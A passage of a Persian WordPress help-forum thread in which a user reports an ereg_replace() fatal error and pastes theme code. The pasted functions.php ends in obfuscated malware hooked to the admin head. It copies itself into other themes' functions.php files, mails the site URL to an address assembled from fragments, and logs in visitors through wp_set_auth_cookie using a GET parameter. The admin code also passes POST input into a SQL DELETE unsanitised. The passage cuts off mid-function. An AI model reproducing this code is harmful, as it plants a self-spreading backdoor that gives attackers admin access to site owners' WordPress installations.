</span> </form> </div> <?php if (!empty($update_message)) echo $update_message; ?> <div style="clear:both;"></div> </div> <!--wrap--> <?php } /*----*/ /* Load required styles for Options Page /*----*/ function propanel_of_style_only() { wp_enqueue_style('admin-style', get_template_directory_uri().'/admin/admin-style.css'); wp_enqueue_style('color-picker', get_template_directory_uri().'/admin/colorpicker.css'); $color = get_user_option('admin_color'); if ($color == "fresh") { wp_enqueue_style('admin-style-grey', get_template_directory_uri().'/admin/admin-style-grey.css'); wp_enqueue_style('color-picker', get_template_directory_uri().'/admin/colorpicker.css'); } } /*-----*/ /* Load required javascripts for Options Page /*----*/ function propanel_of_load_only() { add_action('admin_head', 'propanel_of_admin_head'); wp_enqueue_script('jquery-ui-core'); wp_register_script('jquery-input-mask', get_template_directory_uri().'/admin/js/jquery.maskedinput-1.2.2.js', array( 'jquery' )); wp_enqueue_script('jquery-input-mask'); wp_enqueue_script('color-picker', get_template_directory_uri().'/admin/js/colorpicker.js', array('jquery')); wp_enqueue_script('ajaxupload', get_template_directory_uri().'/admin/js/ajaxupload.js', array('jquery')); function propanel_of_admin_head() { ?> <script type="text/javascript" language="javascript"> jQuery(document).ready(function(){ // Race condition to make sure js files are loaded if (typeof AjaxUpload != 'function') { return ++counter < 6 && window.setTimeout(init, counter * 500); } //Color Picker <?php $options = get_option('of_template'); foreach($options as $option){ if($option['type'] == 'color' OR $option['type'] == 'typography' OR $option['type'] == 'border'){ if($option['type'] == 'typography' OR $option['type'] == 'border'){ $option_id = $option['id']; $temp_color = get_option($option_id); $option_id = $option['id'] . '_color'; $color = $temp_color['color']; } else { $option_id = $option['id']; $color = get_option($option_id); } ?> jQuery('#<?php echo $option_id; ?>_picker').children('div').css('backgroundColor', '<?php echo $color; ?>'); jQuery('#<?php echo $option_id; ?>_picker').ColorPicker({ color: '<?php echo $color; ?>', onShow: function (colpkr) { jQuery(colpkr).fadeIn(500); return false; }, onHide: function (colpkr) { jQuery(colpkr).fadeOut(500); return false; }, onChange: function (hsb, hex, rgb) { //jQuery(this).css('border','1px solid red'); jQuery('#<?php echo $option_id; ?>_picker').children('div').css('backgroundColor', '#' + hex); jQuery('#<?php echo $option_id; ?>_picker').next('input').attr('value','#' + hex); } }); <?php } } ?> }); </script> <?php //AJAX Upload ?> <script type="text/javascript"> jQuery(document).ready(function(){ var i = 0; jQuery('#of-nav li a').attr('id', function() { i++; return 'item'+i; }); var flip = 0; jQuery('#expand_options').click(function(){ if(flip == 0){ flip = 1; jQuery('#truethemes_container #of-nav').hide(); jQuery('#truethemes_container #content').width(755); jQuery('#truethemes_container .group').add('#truethemes_container .group h2').show(); jQuery(this).text('[-]'); } else { flip = 0; jQuery('#truethemes_container #of-nav').show(); jQuery('#truethemes_container #content').width(579); jQuery('#truethemes_container .group').add('#truethemes_container .group h2').hide(); jQuery('#truethemes_container .group:first').show(); jQuery('#truethemes_container #of-nav li').removeClass('current'); jQuery('#truethemes_container #of-nav li:first').addClass('current'); jQuery(this).text('[+]'); } }); jQuery('.group').hide(); jQuery('.group:first').fadeIn(); jQuery('.group .collapsed').each(function(){ jQuery(this).find('input:checked').parent().parent().parent().nextAll().each( function(){ if (jQuery(this).hasClass('last')) { jQuery(this).removeClass('hidden'); return false; } jQuery(this).filter('.hidden').removeClass('hidden'); }); }); jQuery('.group .collapsed input:checkbox').click(unhideHidden); function unhideHidden(){ if (jQuery(this).attr('checked')) { jQuery(this).parent().parent().parent().nextAll().removeClass('hidden'); } else { jQuery(this).parent().parent().parent().nextAll().each( function(){ if (jQuery(this).filter('.last').length) { jQuery(this).addClass('hidden'); return false; } jQuery(this).addClass('hidden'); }); } } jQuery('.of-radio-img-img').click(function(){ jQuery(this).parent().parent().find('.of-radio-img-img').removeClass('of-radio-img-selected'); jQuery(this).addClass('of-radio-img-selected'); }); jQuery('.of-radio-img-label').hide(); jQuery('.of-radio-img-img').show(); jQuery('.of-radio-img-radio').hide(); jQuery('#of-nav li:first').addClass('current'); jQuery('#of-nav li a').click(function(evt){ jQuery('#of-nav li').removeClass('current'); jQuery(this).parent().addClass('current'); var clicked_group = jQuery(this).attr('href'); jQuery('.group').hide(); jQuery(clicked_group).fadeIn(); evt.preventDefault(); }); if('<?php if(isset($_REQUEST['reset'])) { echo $_REQUEST['reset'];} else { echo 'false';} ?>' == 'true'){ var reset_popup = jQuery('#of-popup-reset'); reset_popup.fadeIn(); window.setTimeout(function(){ reset_popup.fadeOut(); }, 2000); //alert(response); } //Update Message popup jQuery.fn.center = function () { this.animate({"top":( jQuery(window).height() - this.height() - 200 ) / 2+jQuery(window).scrollTop() + "px"},100); this.css("left", 250 ); return this; } jQuery('#of-popup-save').center(); jQuery('#of-popup-reset').center(); jQuery(window).scroll(function() { jQuery('#of-popup-save').center(); jQuery('#of-popup-reset').center(); }); //AJAX Upload jQuery('.image_upload_button').each(function(){ var clickedObject = jQuery(this); var clickedID = jQuery(this).attr('id'); new AjaxUpload(clickedID, { action: '<?php echo admin_url("admin-ajax.php"); ?>', name: clickedID, // File upload name data: { // Additional data to send action: 'of_ajax_post_action', type: 'upload', data: clickedID }, autoSubmit: true, // Submit file after selection responseType: false, onChange: function(file, extension){}, onSubmit: function(file, extension){ clickedObject.text('Uploading'); // change button text, when user selects file this.disable(); // If you want to allow uploading only 1 file at time, you can disable upload button interval = window.setInterval(function(){ var text = clickedObject.text(); if (text.length < 13){ clickedObject.text(text + '.'); } else { clickedObject.text('Uploading'); } }, 200); }, onComplete: function(file, response) { window.clearInterval(interval); clickedObject.text('Upload Image'); this.enable(); // enable upload button // If there was an error if(response.search('Upload Error') > -1){ var buildReturn = '<span class="upload-error">' + response + '</span>'; jQuery(".upload-error").remove(); clickedObject.parent().after(buildReturn); } else{ var buildReturn = '<img class="hide of-option-image" id="image_'+clickedID+'" src="'+response+'" alt="" />'; jQuery(".upload-error").remove(); jQuery("#image_" + clickedID).remove(); clickedObject.parent().after(buildReturn); jQuery('img#image_'+clickedID).fadeIn(); clickedObject.next('span').fadeIn(); clickedObject.parent().prev('input').val(response); } } }); }); //AJAX Remove (clear option value) jQuery('.image_reset_button').click(function(){ var clickedObject = jQuery(this); var clickedID = jQuery(this).attr('id'); var theID = jQuery(this).attr('title'); var ajax_url = '<?php echo admin_url("admin-ajax.php"); ?>'; var data = { action: 'of_ajax_post_action', type: 'image_reset', data: theID }; jQuery.post(ajax_url, data, function(response) { var image_to_remove = jQuery('#image_' + theID); var button_to_hide = jQuery('#reset_' + theID); image_to_remove.fadeOut(500,function(){ jQuery(this).remove(); }); button_to_hide.fadeOut(); clickedObject.parent().prev('input').val(''); }); return false; }); /* Top save button jQuery(document).ready( function(){ // bind "click" event for links with title="submit" jQuery("a[title=submit]").click( function(){ // it submits the form it is contained within jQuery(this).parents("form").submit(); }); }); */ //Save everything else jQuery('#ofform').submit(function(){ function newValues() { var serializedValues = jQuery("#ofform").serialize(); return serializedValues; } jQuery(":checkbox, :radio").click(newValues); jQuery("select").change(newValues); jQuery('.ajax-loading-img').fadeIn(); var serializedReturn = newValues(); var ajax_url = '<?php echo admin_url("admin-ajax.php"); ?>'; //var data = {data : serializedReturn}; var data = { <?php if(isset($_REQUEST['page']) && $_REQUEST['page'] == 'siteoptions'){ ?> type: 'options', <?php } ?> action: 'of_ajax_post_action', data: serializedReturn }; jQuery.post(ajax_url, data, function(response) { var success = jQuery('#of-popup-save'); var loading = jQuery('.ajax-loading-img'); loading.fadeOut(); success.fadeIn(); window.setTimeout(function(){ success.fadeOut(); }, 2000); }); return false; }); }); </script> <?php } } /*-----*/ /* Ajax Save Action /*-------*/ add_action('wp_ajax_of_ajax_post_action', 'propanel_of_ajax_callback'); function propanel_of_ajax_callback() { global $wpdb; // this is how you get access to the database $save_type = $_POST['type']; //Uploads if($save_type == 'upload'){ $clickedID = $_POST['data']; // Acts as the name $filename = $_FILES[$clickedID]; $filename['name'] = preg_replace('/[^a-zA-Z0-9._\-]/', '', $filename['name']); $override['test_form'] = false; $override['action'] = 'wp_handle_upload'; $uploaded_file = wp_handle_upload($filename,$override); $upload_tracking[] = $clickedID; update_option( $clickedID , $uploaded_file['url'] ); if(!empty($uploaded_file['error'])) {echo 'Upload Error: ' . $uploaded_file['error']; } else { echo $uploaded_file['url']; } // Is the Response } elseif($save_type == 'image_reset'){ $id = $_POST['data']; // Acts as the name global $wpdb; $query = "DELETE FROM $wpdb->options WHERE option_name LIKE '$id'"; $wpdb->query($query); } elseif ($save_type == 'options' OR $save_type == 'framework') { $data = $_POST['data']; parse_str($data,$output); //print_r($output); //Pull options $options = get_option('of_template'); foreach($options as $option_array){ $id = $option_array['id']; $old_value = get_option($id); $new_value = ''; if(isset($output[$id])){ $new_value = $output[$option_array['id']]; } if(isset($option_array['id'])) { // Non - Headings... $type = $option_array['type']; if ( is_array($type)){ foreach($type as $array){ if($array['type'] == 'text'){ $id = $array['id']; $std = $array['std']; $new_value = $output[$id]; if($new_value == ''){ $new_value = $std; } update_option( $id, stripslashes($new_value)); } } } elseif($new_value == '' && $type == 'checkbox'){ // Checkbox Save update_option($id,'false'); } elseif ($new_value == 'true' && $type == 'checkbox'){ // Checkbox Save update_option($id,'true'); } elseif($type == 'multicheck'){ // Multi Check Save $option_options = $option_array['options']; foreach ($option_options as $options_id => $options_value){ $multicheck_id = $id . "_" . $options_id; if(!isset($output[$multicheck_id])){ update_option($multicheck_id,'false'); } else{ update_option($multicheck_id,'true'); } } } elseif($type != 'upload_min'){ update_option($id,stripslashes($new_value)); } } } } die(); } /*------*/ /* Cases fpr various option types /*-----*/ function propanel_siteoptions_machine($options) { $counter = 0; $menu = ''; $output = ''; foreach ($options as $value) { $counter++; $val = ''; //Start Heading if ( $value['type'] != "heading" ) { $class = ''; if(isset( $value['class'] )) { $class = $value['class']; } //$output .= '<div class="section section-'. $value['type'] .'">'."\n".'<div class="option-inner">'."\n"; $output .= '<div class="section section-'.$value['type'].' '. $class .'">'."\n"; $output .= '<h3 class="heading">'. $value['name'] .'</h3>'."\n"; $output .= '<div class="option">'."\n" . '<div class="controls">'."\n"; } //End Heading $select_value = ''; switch ( $value['type'] ) { case 'text': $val = $value['std']; $std = get_option($value['id']); if ( $std != "") { $val = $std; } $output .= '<input class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'" type="'. $value['type'] .'" value="'. $val .'" />'; break; case 'select': $output .= '<select class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'">'; $select_value = get_option($value['id']); foreach ($value['options'] as $option) { $selected = ''; if($select_value != '') { if ( $select_value == $option) { $selected = ' selected="selected"';} } else { if ( isset($value['std']) ) if ($value['std'] == $option) { $selected = ' selected="selected"'; } } $output .= '<option'. $selected .'>'; $output .= $option; $output .= '</option>'; } $output .= '</select>'; break; //@since 2.0 added by denzel to allow value different from label. case 'select-advance': $output .= '<select class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'">'; $select_value = get_option($value['id']); foreach ($value['options'] as $key => $option) { $selected = ''; if($select_value != '') { if ( $select_value == $key) { $selected = ' selected="selected"';} } else { if ( isset($value['std']) ) if ($value['std'] == $key) { $selected = ' selected="selected"'; } } $output .= '<option value="'. $key .'" '. $selected .'>'; $output .= $option; $output .= '</option>'; } $output .= '</select>'; break; case 'fontsize': /* Font Size */ $val = $default['size']; if ( $typography_stored['size'] != "") { $val = $typography_stored['size']; } $output .= '<select class="of-typography of-typography-size" name="'. $value['id'].'_size" id="'. $value['id'].'_size">'; for ($i = 9; $i < 71; $i++){ if($val == $i){ $active = 'selected="selected"'; } else { $active = ''; } $output .= '<option value="'. $i .'" ' . $active . '>'. $i .'px</option>'; } $output .= '</select>'; break; case "multicheck": $std = $value['std']; foreach ($value['options'] as $key => $option) { $tt_key = $value['id'] . '_' . $key; $saved_std = get_option($tt_key); if(!empty($saved_std)) { if($saved_std == 'true'){ $checked = 'checked="checked"'; } else{ $checked = ''; } } elseif( $std == $key) { $checked = 'checked="checked"'; } else { $checked = ''; } $output .= '<input type="checkbox" class="checkbox of-input" name="'. $tt_key .'" id="'. $tt_key .'" value="true" '. $checked .' /><label for="'. $tt_key .'">'. $option .'</label><br />'; } break; case 'textarea': $cols = '8'; $ta_value = ''; if(isset($value['std'])) { $ta_value = $value['std']; if(isset($value['options'])){ $ta_options = $value['options']; if(isset($ta_options['cols'])){ $cols = $ta_options['cols']; } else { $cols = '8'; } } } $std = get_option($value['id']); if( $std != "") { $ta_value = stripslashes( $std ); } $output .= '<textarea class="of-input" name="'. $value['id'] .'" id="'. $value['id'] .'" cols="'. $cols .'" rows="8">'.$ta_value.'</textarea>'; break; case "radio": $select_value = get_option( $value['id']); foreach ($value['options'] as $key => $option) { $checked = ''; if($select_value != '') { if ( $select_value == $key) { $checked = ' checked'; } } else { if ($value['std'] == $key) { $checked = ' checked'; } } $output .= '<input class="of-input of-radio" type="radio" name="'. $value['id'] .'" value="'. $key .'" '. $checked .' />' . $option .'<br />'; } break; case "checkbox": $std = $value['std']; $saved_std = get_option($value['id']); $checked = ''; if(!empty($saved_std)) { if($saved_std == 'true') { $checked = 'checked="checked"'; } else{ $checked = ''; } } elseif( $std == 'true') { $checked = 'checked="checked"'; } else { $checked = ''; } $output .= '<input type="checkbox" class="checkbox of-input" name="'. $value['id'] .'" id="'. $value['id'] .'" value="true" '. $checked .' />'; break; case "upload": $output .= propanel_siteoptions_uploader_function($value['id'],$value['std'],null); break; case "upload_min": $output .= propanel_siteoptions_uploader_function($value['id'],$value['std'],'min'); break; case "color": $val = $value['std']; $stored = get_option( $value['id'] ); if ( $stored != "") { $val = $stored; } $output .= '<div id="' . $value['id'] . '_picker" class="colorSelector"><div></div></div>'; $output .= '<input class="of-color" name="'. $value['id'] .'" id="'. $value['id'] .'" type="text" value="'. $val .'" />'; break; case "images": $i = 0; $select_value = get_option( $value['id']); foreach ($value['options'] as $key => $option) { $i++; $checked = ''; $selected = ''; if($select_value != '') { if ( $select_value == $key) { $checked = ' checked'; $selected = 'of-radio-img-selected'; } } else { if ($value['std'] == $key) { $checked = ' checked'; $selected = 'of-radio-img-selected'; } elseif ($i == 1 && !isset($select_value)) { $checked = ' checked'; $selected = 'of-radio-img-selected'; } elseif ($i == 1 && $value['std'] == '') { $checked = ' checked'; $selected = 'of-radio-img-selected'; } else { $checked = ''; } } $output .= '<span>'; $output .= '<input type="radio" id="of-radio-img-' . $value['id'] . $i . '" class="checkbox of-radio-img-radio" value="'.$key.'" name="'. $value['id'].'" '.$checked.' />'; $output .= '<div class="of-radio-img-label">'. $key .'</div>'; $output .= '<img src="'.$option.'" alt="" class="of-radio-img-img '. $selected .'" onClick="document.getElementById(\'of-radio-img-'. $value['id'] . $i.'\').checked = true;" />'; $output .= '</span>'; } break; case "info": $default = $value['std']; $output .= $default; break; case "heading": if($counter >= 2){ $output .= '</div>'."\n"; } $jquery_click_hook = ereg_replace("[^A-Za-z0-9]", "", strtolower($value['name']) ); $jquery_click_hook = "of-option-" . $jquery_click_hook; $menu .= '<li><a title="'. $value['name'] .'" href="#'. $jquery_click_hook .'">'. $value['name'] .'</a></li>'; $output .= '<div class="group" id="'. $jquery_click_hook .'"><h2>'.$value['name'].'</h2>'."\n"; break; } // if TYPE is an array, formatted into smaller inputs... ie smaller values if ( is_array($value['type'])) { foreach($value['type'] as $array){ $id = $array['id']; $std = $array['std']; $saved_std = get_option($id); if($saved_std != $std){$std = $saved_std;} $meta = $array['meta']; if($array['type'] == 'text') { // Only text at this point $output .= '<input class="input-text-small of-input" name="'. $id .'" id="'. $id .'" type="text" value="'. $std .'" />'; $output .= '<span class="meta-two">'.$meta.'</span>'; } } } if ( $value['type'] != "heading" ) { if ( $value['type'] != "checkbox" ) { $output .= '<br/>'; } if(!isset($value['desc'])){ $explain_value = ''; } else{ $explain_value = $value['desc']; } $output .= '</div><div class="explain">'. $explain_value .'</div>'."\n"; $output .= '<div class="clear"> </div></div></div>'."\n"; } } $output .= '</div>'; return array($output,$menu); } /*-------*/ /* File Uploading /*-----*/ function propanel_siteoptions_uploader_function($id,$std,$mod){ $uploader = ''; $upload = get_option($id); if($mod != 'min') { $val = $std; if ( get_option( $id ) != "") { $val = get_option($id); } $uploader .= '<input class="of-input" name="'. $id .'" id="'. $id .'_upload" type="text" value="'. $val .'" />'; } $uploader .= '<div class="upload_button_div"><span class="button image_upload_button" id="'.$id.'">آپلود تصویر</span>'; if(!empty($upload)) {$hide = '';} else { $hide = 'hide';} $uploader .= '<span class="button image_reset_button '. $hide.'" id="reset_'. $id .'" title="' . $id . '">حذف</span>'; $uploader .='</div>' . "\n"; $uploader .= '<div class="clear"></div>' . "\n"; if(!empty($upload)){ $uploader .= '<a class="of-uploaded-image" href="'. $upload . '">'; $uploader .= '<img class="of-option-image" id="image_'.$id.'" src="'.$upload.'" alt="" />'; $uploader .= '</a>'; } $uploader .= '<div class="clear"></div>' . "\n"; return $uploader; } ?>
  9. با سلام خدمت اساتید من امروز وردپرس را به روز رسانی کردم ولی با ارور در فایل functions قالب مواجه شدم از اساتید اگه کسی میتونه کمکم کنه درستش کنم این ارور را میده Fatal error: Uncaught Error: Call to undefined function ereg_replace() in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php:918 Stack trace: #0 /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php(75): propanel_siteoptions_machine(Array) #1 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(286): propanel_siteoptions_options_page('') #2 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(310): WP_Hook->apply_filters('', Array) #3 /home/bobocom/mp3old.ir/wp-includes/plugin.php(453): WP_Hook->do_action(Array) #4 /home/bobocom/mp3old.ir/wp-admin/admin.php(224): do_action('appearance_page...') #5 /home/bobocom/mp3old.ir/wp-admin/themes.php(10): require_once('/home/bobocom/m...') #6 {main} thrown in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php on line 918 اینم کد فانکشن قالب <?php function src_simple_recent_comments($src_count=4, $src_length=60, $pre_HTML='', $post_HTML='') { global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date_gmt DESC LIMIT $src_count"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; $output .= "\n<ul>"; foreach ($comments as $comment) { $output .= "\n\t<li><strong><a href=\"" . get_permalink($comment->ID) . "#comment-" . $comment->comment_ID . "\" title=\"on " . $comment->post_title . "\">" . $comment->comment_author . "</a></strong>: " . strip_tags($comment->com_excerpt) . "...</li>"; } $output .= "\n</ul>"; $output .= $post_HTML; echo $output; } include_once('metabox.php'); function getpostviews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' Views'; } function setpostviews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } function download_button($atts, $content = null) { extract( shortcode_atts( array( 'url' => '#' ), $atts ) ); return '<a href="'.$url.'" class="download-button"><i class="fa fa-cloud-download"></i><span>' . do_shortcode($content) . '</span></a>'; } add_shortcode('download', 'download_button'); function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = "/images/default.jpg"; } return $first_img; } function html5_search_form( $form ) { $form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" > <label for="s">' . __('') . '</label> <input type="search" placeholder="'.__("کلیدواژه خود را وارد کنید سپس اینتر را بزنید ...").'" value="' . get_search_query() . '" name="s" id="s" /> </form>'; return $form; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار چپ', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار راست', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); require_once(TEMPLATEPATH . '/admin/admin-functions.php'); require_once(TEMPLATEPATH . '/admin/admin-interface.php'); require_once(TEMPLATEPATH . '/admin/theme-settings.php'); function register_my_menus() { register_nav_menus( array( 'primary' => __( 'فهرست میانی' ), 'top' => __( 'فهرست بالای هدر' ) ) ); } add_action( 'init', 'register_my_menus' ); class Menu_With_Description extends Walker_Nav_Menu { function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $class_names = $value = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $class_names = ' class="' . esc_attr( $class_names ) . '"'; $output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>'; $attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : ''; $attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : ''; $attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : ''; $attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : ''; $item_output = $args->before; $item_output .= '<a'. $attributes .'>'; $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= '<br /><span class="sub">' . $item->description . '</span>'; $item_output .= '</a>'; $item_output .= $args->after; $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } } if ( ! function_exists( 'wptools_pagination' ) ) : function wptools_pagination() { global $wp_query; $big = 999999999; echo paginate_links( array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', 'current' => max( 1, get_query_var('paged') ), 'prev_next' => True, 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => $wp_query->max_num_pages ) ); } endif; ?> <?php function _check_isactive_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_isactive_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) $expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . 